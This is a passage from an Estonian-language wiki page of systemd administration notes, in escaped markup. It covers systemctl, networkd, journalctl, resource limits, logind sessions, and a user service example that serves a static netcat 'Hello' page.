 # journalctl -f -u systemd-resolved&lt;br /&gt;
&lt;br /&gt;
===localectl===&lt;br /&gt;
&lt;br /&gt;
 # localectl list-locales&lt;br /&gt;
 C.UTF-8&lt;br /&gt;
 en_US.utf8&lt;br /&gt;
&lt;br /&gt;
===Service haldamine===&lt;br /&gt;
&lt;br /&gt;
Käivitamine&lt;br /&gt;
&lt;br /&gt;
 # systemctl start apache2&lt;br /&gt;
&lt;br /&gt;
Oleku küsimine&lt;br /&gt;
&lt;br /&gt;
 # systemctl status apache2&lt;br /&gt;
&lt;br /&gt;
Seiskamine&lt;br /&gt;
&lt;br /&gt;
 # systemctl stop apache2&lt;br /&gt;
&lt;br /&gt;
Väljalülitamine, st selliselt seadistatud teenust ei käivitata automaatselt (süsteemi alglaadimisel, mingi event esinemisel vms), aga käsitsi start abil saab käivitada&lt;br /&gt;
&lt;br /&gt;
 # systemctl disable apache2&lt;br /&gt;
&lt;br /&gt;
Sisselülitamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl enable apache2&lt;br /&gt;
&lt;br /&gt;
Maskeerimine, selliselt seadistatud teenust ei saa üldse käivitada&lt;br /&gt;
&lt;br /&gt;
 # systemctl mask apache2&lt;br /&gt;
&lt;br /&gt;
Maskeerimise väljalülitamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl unmask apache2&lt;br /&gt;
&lt;br /&gt;
Kõigi service'ite nimekirja küsimine (töötavate küsimiseks jätta -a ära; sarnaselt saab küsida target, socket, mount)&lt;br /&gt;
&lt;br /&gt;
 # systemctl list-units --type service -a&lt;br /&gt;
&lt;br /&gt;
Kõigi failide nimekirja küsimine&lt;br /&gt;
&lt;br /&gt;
 # systemctl list-unit-files --type=service&lt;br /&gt;
&lt;br /&gt;
systemd seadistustes tehtud muudatuste esitamine&lt;br /&gt;
&lt;br /&gt;
 # systemd-delta&lt;br /&gt;
&lt;br /&gt;
Sõltuvuste nimekirja esitamine&lt;br /&gt;
&lt;br /&gt;
 # systemctl list-dependencies sshd.service&lt;br /&gt;
&lt;br /&gt;
Teenuse omaduste esitamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl show sshd.service&lt;br /&gt;
&lt;br /&gt;
Unitite seadistusfailidega töötamiseks sobib öelda (vastavalt redigeeritakse /etc/systemd/system/nginx.service, /etc/systemd/system/nginx.service.d/failinimi või esitatakse faili sisu)&lt;br /&gt;
&lt;br /&gt;
 # systemctl edit --full nginx.service&lt;br /&gt;
 # systemctl edit nginx.service&lt;br /&gt;
 # systemctl cat nginx.service&lt;br /&gt;
&lt;br /&gt;
===systemd-networkd===&lt;br /&gt;
&lt;br /&gt;
systemd-networkd tegeleb võrgu seadistamisega. Nt nspawn konteinerile saab võrgu seadistada selliselt&lt;br /&gt;
&lt;br /&gt;
* seadistada konteinerit hostiva arvuti võrguühendus nt bridge-utils bridge abil&lt;br /&gt;
&lt;br /&gt;
* tekitada konteinerisse seadistusfail (kui arvutis on mitu võrguliidest, siis võiks iga liidese jaoks olla oma fail)&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/systemd/network/50-static.network &lt;br /&gt;
 [Match]&lt;br /&gt;
 Name=host0&lt;br /&gt;
 &lt;br /&gt;
 [Network]&lt;br /&gt;
 Address=192.168.10.16/24&lt;br /&gt;
 Gateway=192.168.10.254&lt;br /&gt;
&lt;br /&gt;
* /etc/network/interfaces failis kirjeldada vaid lo seade&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/network/interfaces&lt;br /&gt;
 source /etc/network/interfaces.d/*&lt;br /&gt;
 auto lo&lt;br /&gt;
 iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
* võrgu käivitamiseks öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl start systemd-networkd&lt;br /&gt;
&lt;br /&gt;
* ipv4 ja ipv6 aadressi seadistamiseks&lt;br /&gt;
&lt;br /&gt;
 ..&lt;br /&gt;
 [Network]&lt;br /&gt;
 Gateway=192.168.10.254&lt;br /&gt;
 &lt;br /&gt;
 [Address]&lt;br /&gt;
 Address=192.168.10.16/24&lt;br /&gt;
 &lt;br /&gt;
 [Address]&lt;br /&gt;
 Address=110:1/64&lt;br /&gt;
&lt;br /&gt;
===Konsooli alglaadimisjärgse puhastamise lõpetamine===&lt;br /&gt;
&lt;br /&gt;
Järgneva töötamise eelduseks on /etc/default/grub failis &amp;quot;quiet&amp;quot; eemaldamine, vt man systemd -&amp;gt; ShowStatus 'Defaults to enabled, unless quiet is passed as kernel command line option, in which case it defaults to error.' Alternatiiv on kasutada kernel argumenti 'systemd.show_status=1'.&lt;br /&gt;
&lt;br /&gt;
Viisakas variant&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# systemctl edit getty@tty1&lt;br /&gt;
..&lt;br /&gt;
&lt;br /&gt;
[Service]&lt;br /&gt;
TTYVTDisallocate=no&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Vulgaarsem variant&lt;br /&gt;
&lt;br /&gt;
 # mkdir /etc/systemd/system/getty@tty1.service.d&lt;br /&gt;
 # cat /etc/systemd/system/getty@tty1.service.d/noclear.conf&lt;br /&gt;
 [Service]&lt;br /&gt;
 TTYVTDisallocate=no&lt;br /&gt;
&lt;br /&gt;
Ja järgmisel alglaadimisel enam ekraani ei puhastata&lt;br /&gt;
&lt;br /&gt;
 # reboot&lt;br /&gt;
&lt;br /&gt;
NB! Selleks, et tuuma teateid oleks näha tuleb lisaks GRUB2 seadistusfailis kasutada rida&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/default/grub&lt;br /&gt;
 ..&lt;br /&gt;
 GRUB_CMDLINE_LINUX_DEFAULT=&amp;quot;&amp;quot;&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
ning öelda&lt;br /&gt;
&lt;br /&gt;
 # update-grub&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://mywiki.wooledge.org/SystemdNoClear&lt;br /&gt;
* https://wiki.archlinux.org/index.php/Systemd_FAQ&lt;br /&gt;
&lt;br /&gt;
===journalctl kasuamine===&lt;br /&gt;
&lt;br /&gt;
Bootimisest alates antud logi sissekannete esitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # journalctl -b&lt;br /&gt;
&lt;br /&gt;
Selleks, et näha erinevate bootimiskordade logi tuleb öelda&lt;br /&gt;
&lt;br /&gt;
 # mkdir /var/log/journal&lt;br /&gt;
 # sed -ri s/^#Storage=auto/Storage=persistent/ /etc/systemd/journald.conf&lt;br /&gt;
&lt;br /&gt;
tulemusena saab nimekirja vaadata&lt;br /&gt;
&lt;br /&gt;
 # journalctl --list-boots&lt;br /&gt;
&lt;br /&gt;
ning konkreetse korra sissekandeid nt&lt;br /&gt;
&lt;br /&gt;
 # journalctl -b -2&lt;br /&gt;
&lt;br /&gt;
Uniti vms logi follow režiimis esitamiseks&lt;br /&gt;
&lt;br /&gt;
 # journalctl -n 20 -f -u ssh&lt;br /&gt;
&lt;br /&gt;
===Systemd debugimine===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://freedesktop.org/wiki/Software/systemd/Debugging/&lt;br /&gt;
&lt;br /&gt;
===Ressursikasutuse kontrollimine===&lt;br /&gt;
&lt;br /&gt;
 # grep -v &amp;quot;^#&amp;quot; /etc/systemd/system.conf&lt;br /&gt;
 &lt;br /&gt;
 [Manager]&lt;br /&gt;
 DefaultCPUAccounting=yes&lt;br /&gt;
 DefaultBlockIOAccounting=yes&lt;br /&gt;
 DefaultMemoryAccounting=yes&lt;br /&gt;
&lt;br /&gt;
 # systemctl set-property nginx.service MemoryLimit=10M&lt;br /&gt;
&lt;br /&gt;
===systemd-run===&lt;br /&gt;
&lt;br /&gt;
 $ systemd-run --user --unit=limit-test.scope --scope -p MemoryAccounting=yes -p MemoryLimit=2M bash&lt;br /&gt;
&lt;br /&gt;
 $ systemctl show --user limit-test.scope | grep Mem&lt;br /&gt;
 MemoryAccounting=yes&lt;br /&gt;
 MemoryLimit=2M&lt;br /&gt;
&lt;br /&gt;
või&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# systemd-run --user --scope -p MemoryMax=10M -p MemorySwapMax=0 bash&lt;br /&gt;
Running as unit: run-p10909-i11209.scope; invocation ID: d3b7a7cc8af2431282ac1e1e7d469e2a&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~# python3 -c 'a = &amp;quot;x&amp;quot; * 20 * 1024 * 1024'&lt;br /&gt;
Killed&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===systemd-boot===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://wiki.archlinux.org/index.php/systemd-boot&lt;br /&gt;
&lt;br /&gt;
===systemd-logind===&lt;br /&gt;
&lt;br /&gt;
====Mõisted====&lt;br /&gt;
&lt;br /&gt;
* seat&lt;br /&gt;
* session&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
Kasutaja sisselomisel moodustatakse nö sessioon&lt;br /&gt;
&lt;br /&gt;
* '$ systemd --user ..' - käivitatakse per kasutaja systemd lahendus (seejuurde kuulub systemd-user service'ite käivitamine)&lt;br /&gt;
* '$ busctl lis') - per kasutaja dbus käivitamine (busctl list)&lt;br /&gt;
* '$ lsns' - moodustatakse per kasutaja namespace'ide komplekt (user, mount, pid jne)&lt;br /&gt;
* 'man pam_systemd' - pam kaudu kutsutakse välja kasutajapõhine systemd lahendus&lt;br /&gt;
&lt;br /&gt;
nn linger abil saab kasutaja sessiooni tekitada automaatselt süsteemi algkäivituse käigus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
systemd-logind asendab ConsoleKit lahenduse. nt saab küsida&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# loginctl list-sessions&lt;br /&gt;
   SESSION        UID USER             SEAT             TTY             &lt;br /&gt;
        31          0 root             seat0            /dev/tty2       &lt;br /&gt;
       189       1001 priit            seat0            /dev/tty4       &lt;br /&gt;
         2       1000 imre             seat0                            &lt;br /&gt;
        c5        111 lightdm          seat0                            &lt;br /&gt;
       187       1001 priit            seat0            /dev/tty3       &lt;br /&gt;
        33       1000 imre             seat0                            &lt;br /&gt;
&lt;br /&gt;
6 sessions listed.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Arvuti sees root kasutajana tavakasutaja service nimekirja küsimine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# systemctl --user -M kasutaja@.host list-units --type=service&lt;br /&gt;
  UNIT             LOAD   ACTIVE SUB     DESCRIPTION&lt;br /&gt;
  dbus.service     loaded active running D-Bus User Message Bus&lt;br /&gt;
  nginx-08.service loaded active running My Nginx Quadlet Service&lt;br /&gt;
  nginx-09.service loaded active running My Nginx 09 Quadlet Service&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kasutaja status küsimine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ph-minio-01:~$ loginctl user-status&lt;br /&gt;
kasutaja (1000)&lt;br /&gt;
   Since: Sun 2026-04-19 18:59:50 EEST; 1h 15min ago&lt;br /&gt;
   State: active&lt;br /&gt;
Sessions: *69 68&lt;br /&gt;
  Linger: no&lt;br /&gt;
    Unit: user-1000.slice&lt;br /&gt;
          ├─session-69.scope&lt;br /&gt;
          │ ├─3556 &amp;quot;sshd-session: kasutaja [priv]&amp;quot;&lt;br /&gt;
          │ ├─3563 &amp;quot;sshd-session: kasutaja@pts/1&amp;quot;&lt;br /&gt;
          │ ├─3564 -bash&lt;br /&gt;
          │ ├─3883 loginctl user-status&lt;br /&gt;
          │ └─3884 pager&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* linger info - no&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://yakking.branchable.com/posts/systemd-4-logind/&lt;br /&gt;
&lt;br /&gt;
===systemd system service===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===systemd user service===&lt;br /&gt;
&lt;br /&gt;
Kui tavaliselt on kasutusel systemd põhises keskkonnas nn süsteemne systemd halduse lahendus, mis tegeleb teenus-protsessidega, siis systemd user service on selline asjakorraldus, kus sarnane tulemus saavutatakse tavakasutaja tingimustes. Üks võimalik lähtepunkt on, et süsteemi on tavakasutaja abil sisse logitud üle ssh ühes aknas&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# ps U priit&lt;br /&gt;
  20185 ?        Ss     0:00 /usr/lib/systemd/systemd --user&lt;br /&gt;
  20187 ?        S      0:00 (sd-pam)&lt;br /&gt;
  20201 ?        S      0:00 sshd-session: priit@pts/0&lt;br /&gt;
  20202 pts/0    Ss     0:00 -bash&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* sellega kaasneb kasutaja-põhise systemd protsessi töötamine&lt;br /&gt;
&lt;br /&gt;
ja teises aknas asutakse tegutsema&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# su - priit&lt;br /&gt;
priit@pwrk-02:~$ export XDG_RUNTIME_DIR=/run/user/1002&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* systemctl --user ... leiab selle XDG kataloogi suhtes standardsest asukohast systemd user soketi (/run/user/1002/systemd/private)&lt;br /&gt;
&lt;br /&gt;
systemd user service ehk kasutaja-põhine teenus paistab välja selline&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
priit@pwrk-02:~$ systemctl --user list-units | grep http&lt;br /&gt;
  bash-http-server.service    loaded active running   Bash Netcat HTTP Microservice&lt;br /&gt;
&lt;br /&gt;
priit@pwrk-02:~$ systemctl --user status bash-http-server.service&lt;br /&gt;
● bash-http-server.service - Bash Netcat HTTP Microservice&lt;br /&gt;
     Loaded: loaded (/home/priit/.config/systemd/user/bash-http-server.service; enabled; preset: enabled)&lt;br /&gt;
     Active: active (running) since Sun 2025-10-12 20:39:01 UTC; 21min ago&lt;br /&gt;
   Main PID: 910 (bash-http-serve)&lt;br /&gt;
      Tasks: 2 (limit: 9410)&lt;br /&gt;
     Memory: 704.0K (peak: 1.4M)&lt;br /&gt;
        CPU: 5ms&lt;br /&gt;
     CGroup: /user.slice/user-1002.slice/user@1002.service/app.slice/bash-http-server.service&lt;br /&gt;
             ├─910 /bin/bash /home/priit/bin/bash-http-server&lt;br /&gt;
             └─913 nc -l -p 5100 -q 1&lt;br /&gt;
&lt;br /&gt;
Oct 12 20:39:01 pwrk-02 systemd[869]: Started bash-http-server.service - Bash Netcat HTTP Microservice.&lt;br /&gt;
&lt;br /&gt;
priit@pwrk-02:~$ curl http://127.0.0.1:5100&lt;br /&gt;
&amp;lt;h1&amp;gt;Hello from the Bash Server Service!&amp;lt;/h1&amp;gt;&amp;lt;p&amp;gt;Running as user: priit&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
vastavad protsessid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# ps U priit&lt;br /&gt;
    PID TTY      STAT   TIME COMMAND&lt;br /&gt;
    885 ?        Ss     0:00 /usr/lib/systemd/systemd --user&lt;br /&gt;
    889 ?        S      0:00 (sd-pam)&lt;br /&gt;
    923 ?        Ss     0:00 /bin/bash /home/priit/bin/bash-http-server&lt;br /&gt;
    929 ?        S      0:00 nc -l -p 5100 -q 1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* haldav protsess (systemd --user) töötab sama kasutajana nagu hallatav protsess (bash-http-server ja nc) - võib olla ei ole see parim isolatsioon&lt;br /&gt;
&lt;br /&gt;
programmi on selline&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
priit@pwrk-02:~$ cat /home/priit/bin/bash-http-server&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
# A simple, single-page HTTP server using Netcat&lt;br /&gt;
&lt;br /&gt;
# Port to listen on (high port recommended for unprivileged user)&lt;br /&gt;
LISTEN_PORT=5100&lt;br /&gt;
&lt;br /&gt;
# The HTTP response content&lt;br /&gt;
HTTP_CONTENT=&amp;quot;&amp;lt;h1&amp;gt;Hello from the Bash Server Service!&amp;lt;/h1&amp;gt;&amp;lt;p&amp;gt;Running as user: $(whoami)&amp;lt;/p&amp;gt;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# HTTP headers&lt;br /&gt;
HTTP_RESPONSE=&amp;quot;HTTP/1.1 200 OK\r\n&amp;quot;&lt;br /&gt;
HTTP_RESPONSE+=&amp;quot;Content-Type: text/html\r\n&amp;quot;&lt;br /&gt;
HTTP_RESPONSE+=&amp;quot;Content-Length: ${#HTTP_CONTENT}\r\n&amp;quot;&lt;br /&gt;
HTTP_RESPONSE+=&amp;quot;\r\n&amp;quot;&lt;br /&gt;
HTTP_RESPONSE+=&amp;quot;${HTTP_CONTENT}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Loop forever, listening for connections and serving the response&lt;br /&gt;
while true; do&lt;br /&gt;
    # Use netcat to listen on the port, process one request, and close.&lt;br /&gt;
    # The 'echo' ensures the response is sent back.&lt;br /&gt;
    printf &amp;quot;%b&amp;quot; &amp;quot;$HTTP_RESPONSE&amp;quot; | nc -l -p $LISTEN_PORT -q 1&lt;br /&gt;
done&lt;br /&gt;
&lt;br /&gt;
priit@pwrk-02:~$ chmod 0755 /home/priit/bin/bash-http-server&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kasutaja-põhine systemd unit service&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
priit@pwrk-02:~$ mkdir -p .config/systemd/user&lt;br /&gt;
priit@pwrk-02:~$ cat .config/systemd/user/bash-http-server.service&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=Bash Netcat HTTP Microservice&lt;br /&gt;
&lt;br /&gt;
After=network-online.target&lt;br /&gt;
Wants=network-online.target&lt;br /&gt;
&lt;br /&gt;
[Service]&lt;br /&gt;
ExecStart=/home/priit/bin/bash-http-server&lt;br /&gt;
Restart=always&lt;br /&gt;
RestartSec=5s&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
# This is typically the correct target for persistent user services&lt;br /&gt;
WantedBy=default.target&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lülitatakse sisse kasutaja nö lingerdamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
imre@pwrk-02:~$ loginctl enable-linger priit&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
loetakse sisse systemd seadistuse muudatused&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
priit@pwrk-02:~$ systemctl --user daemon-reload&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning aktiveeritakse teenus + käivitatakse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
priit@pwrk-02:~$ systemctl --user enable --now bash-http-server.service&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ootus on, et tulemusena käib teenus, nagu lõigu alguses on esitatud.&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://wiki.archlinux.org/index.php/Systemd/User&lt;br /&gt;
* https://unix.stackexchange.com/questions/251211/why-doesnt-my-systemd-user-unit-start-at-boot&lt;br /&gt;
* https://www.brendanlong.com/systemd-user-services-are-amazing.html&lt;br /&gt;
&lt;br /&gt;
===journald user logs===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===tmpfiles-setup===&lt;br /&gt;
&lt;br /&gt;
tmpfiles-setup haldab programmide ajutiste jms failide jaoks kataloogide olemasolu eest&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ls -ld /usr/lib/tmpfiles.d/*&lt;br /&gt;
-rw-r--r-- 1 root root  238 Dec  2  2015 /usr/lib/tmpfiles.d/00rsyslog.conf&lt;br /&gt;
-rw-r--r-- 1 root root  153 Dec  2  2015 /usr/lib/tmpfiles.d/dbus.conf&lt;br /&gt;
-rw-r--r-- 1 root root  577 Jul  5 16:56 /usr/lib/tmpfiles.d/debian.conf&lt;br /&gt;
-rw-r--r-- 1 root root  362 Jul 19 02:56 /usr/lib/tmpfiles.d/home.conf&lt;br /&gt;
-rw-r--r-- 1 root root 1098 Jul 19 02:56 /usr/lib/tmpfiles.d/journal-nocow.conf&lt;br /&gt;
-rw-r--r-- 1 root root  812 Jul 19 02:56 /usr/lib/tmpfiles.d/legacy.conf&lt;br /&gt;
-rw-r--r-- 1 root root   61 Apr 16  2016 /usr/lib/tmpfiles.d/lvm2.conf&lt;br /&gt;
-rw-r--r-- 1 root root  239 Feb  5  2016 /usr/lib/tmpfiles.d/passwd.conf&lt;br /&gt;
-rw-r--r-- 1 root root  176 Feb 21  2016 /usr/lib/tmpfiles.d/postgresql.conf&lt;br /&gt;
-rw-r--r-- 1 root root   33 Jun  9  2015 /usr/lib/tmpfiles.d/screen-cleanup.conf&lt;br /&gt;
-rw-r--r-- 1 root root   31 Mar 16  2017 /usr/lib/tmpfiles.d/sshd.conf&lt;br /&gt;
-rw-r--r-- 1 root root  313 Jul  4 10:37 /usr/lib/tmpfiles.d/sudo.conf&lt;br /&gt;
-rw-r--r-- 1 root root 1544 Jul 19 02:56 /usr/lib/tmpfiles.d/systemd.conf&lt;br /&gt;
-rw-r--r-- 1 root root  496 Jul 19 02:56 /usr/lib/tmpfiles.d/systemd-nologin.conf&lt;br /&gt;
-rw-r--r-- 1 root root  637 Jul 19 02:56 /usr/lib/tmpfiles.d/tmp.conf&lt;br /&gt;
-rw-r--r-- 1 root root  532 Jul 19 02:56 /usr/lib/tmpfiles.d/var.conf&lt;br /&gt;
-rw-r--r-- 1 root root  623 Jul 19 02:56 /usr/lib/tmpfiles.d/x11.conf&lt;br /&gt;
-rw-r--r-- 1 root root   41 Aug 16 12:13 /usr/lib/tmpfiles.d/zabbix-agent.conf&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Timer===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
 # systemctl list-timers&lt;br /&gt;
 NEXT                          LEFT     LAST                          PASSED  UNIT                         ACTIVATES&lt;br /&gt;
 Tue 2017-07-25 06:52:49 EEST  6h left  Mon 2017-07-24 06:49:40 EEST  17h ago apt-daily.timer              apt-daily.service&lt;br /&gt;
 Tue 2017-07-25 10:41:54 EEST  10h left Mon 2017-07-24 10:41:54 EEST  13h ago systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service&lt;br /&gt;
&lt;br /&gt;
===systemd-fstab-generator===&lt;br /&gt;
&lt;br /&gt;
Paistab, et systemd tekitab automaatselt /etc/fstab sisule vastavad unit failid /run alla, nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /run/systemd/generator/var-lib-postgresql.mount &lt;br /&gt;
# Automatically generated by systemd-fstab-generator&lt;br /&gt;
&lt;br /&gt;
[Unit]&lt;br /&gt;
SourcePath=/etc/fstab&lt;br /&gt;
Documentation=man:fstab(5) man:systemd-fstab-generator(8)&lt;br /&gt;
Before=local-fs.target&lt;br /&gt;
Requires=systemd-fsck@dev-system-var_lib_postgresql.service&lt;br /&gt;
After=systemd-fsck@dev-system-var_lib_postgresql.service&lt;br /&gt;
&lt;br /&gt;
[Mount]&lt;br /&gt;
What=/dev/system/var_lib_postgresql&lt;br /&gt;
Where=/var/lib/postgresql&lt;br /&gt;
Type=ext4&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kui fstab sees kirjeldatud LVM voluumi nime jääb samaks, aga UUID muutub (nt olemasolev LVM volüüm kustutada ja tekitada asemele teine) ning öelda&lt;br /&gt;
&lt;br /&gt;
 # mount /var/lib/postgresql&lt;br /&gt;
&lt;br /&gt;
siis failisüsteem monteeritakse ja ühendatakse ka kohe lahti syslog tekstiga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Feb 20 00:57:33 ky-test kernel: [1210006.815639] EXT4-fs (dm-6): mounted filesystem with ordered data mode. Opts: discard&lt;br /&gt;
Feb 20 00:57:33 ky-test systemd[1]: var-lib-postgresql.mount: Unit is bound to inactive unit dev-system-var_lib_postgresql.device. Stopping, too.&lt;br /&gt;
Feb 20 00:57:33 ky-test systemd[1]: Unmounting /var/lib/postgresql...&lt;br /&gt;
Feb 20 00:57:33 ky-test systemd[1]: Unmounted /var/lib/postgresql.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lahenduseks on öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl daemon-reload&lt;br /&gt;
&lt;br /&gt;
===Märkused===&lt;br /&gt;
&lt;br /&gt;
* kerneli mooduleid loeb käivitamisel systemd-modules-load&lt;br /&gt;
&lt;br /&gt;
 systemd-modules-load.service&lt;br /&gt;
&lt;br /&gt;
Seadistusfailiks on&lt;br /&gt;
&lt;br /&gt;
 # ls -ld /etc/modules-load.d/modules.conf &lt;br /&gt;
 lrwxrwxrwx 1 root root 10 Oct  9 14:58 /etc/modules-load.d/modules.conf -&amp;gt; ../modules&lt;br /&gt;
&lt;br /&gt;
systemd komponente kasutavas operatsioonisüsteemis töötavad nt sellised protsessid&lt;br /&gt;
&lt;br /&gt;
 # ps aux | grep '/lib/systemd/systemd-'&lt;br /&gt;
 root       173  0.0  0.5  28188  2912 ?        Ss   15:39   0:00 /lib/systemd/systemd-journald&lt;br /&gt;
 root       190  0.0  0.7  44072  4000 ?        Ss   15:39   0:00 /lib/systemd/systemd-udevd&lt;br /&gt;
 systemd+   388  0.0  0.4  97952  2312 ?        Ssl  15:39   0:00 /lib/systemd/systemd-timesyncd&lt;br /&gt;
 root       396  0.0  0.5  28352  2772 ?        Ss   15:39   0:00 /lib/systemd/systemd-logind&lt;br /&gt;
 systemd+   402  0.0  0.5  28504  2892 ?        Ss   15:39   0:00 /lib/systemd/systemd-networkd&lt;br /&gt;
 systemd+  1004  0.0  0.5  31340  2880 ?        Ss   16:00   0:00 /lib/systemd/systemd-resolved&lt;br /&gt;
&lt;br /&gt;
Tundub, et midagi teeb käsk systemd konfi muudatuste kehtestamiseks&lt;br /&gt;
&lt;br /&gt;
 # systemctl daemon-reload&lt;br /&gt;
&lt;br /&gt;
Tugevamaks kehtestamiseks või nö jamade lahendamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # systemctl daemon-reexec&lt;br /&gt;
&lt;br /&gt;
===su ja sudo kasutamine===&lt;br /&gt;
&lt;br /&gt;
su/sudo/runuser programmide kasutamisel ei moodustada nö kasutaja keskkonda (environment)&lt;br /&gt;
&lt;br /&gt;
nende asemel annab nö autentsema tulemuse machinectl kasutamine, nt&lt;br /&gt;
&lt;br /&gt;
 # machinectl shell imre@&lt;br /&gt;
&lt;br /&gt;
nt on seejärel käivitatud sellised protsessid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
imre@ph-minio-01:~$ ps U imre&lt;br /&gt;
    PID TTY      STAT   TIME COMMAND&lt;br /&gt;
   1212 pts/1    Ss     0:00 /bin/bash&lt;br /&gt;
   1216 ?        Ss     0:00 /usr/lib/systemd/systemd --user&lt;br /&gt;
   1218 ?        S      0:00 (sd-pam)&lt;br /&gt;
   1251 pts/1    S      0:00 (sd-pam)&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja väärtustatud mitmesugused XDG keskkonnamuutujad&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ env | grep XDG&lt;br /&gt;
XDG_SESSION_TYPE=tty&lt;br /&gt;
XDG_SESSION_CLASS=user&lt;br /&gt;
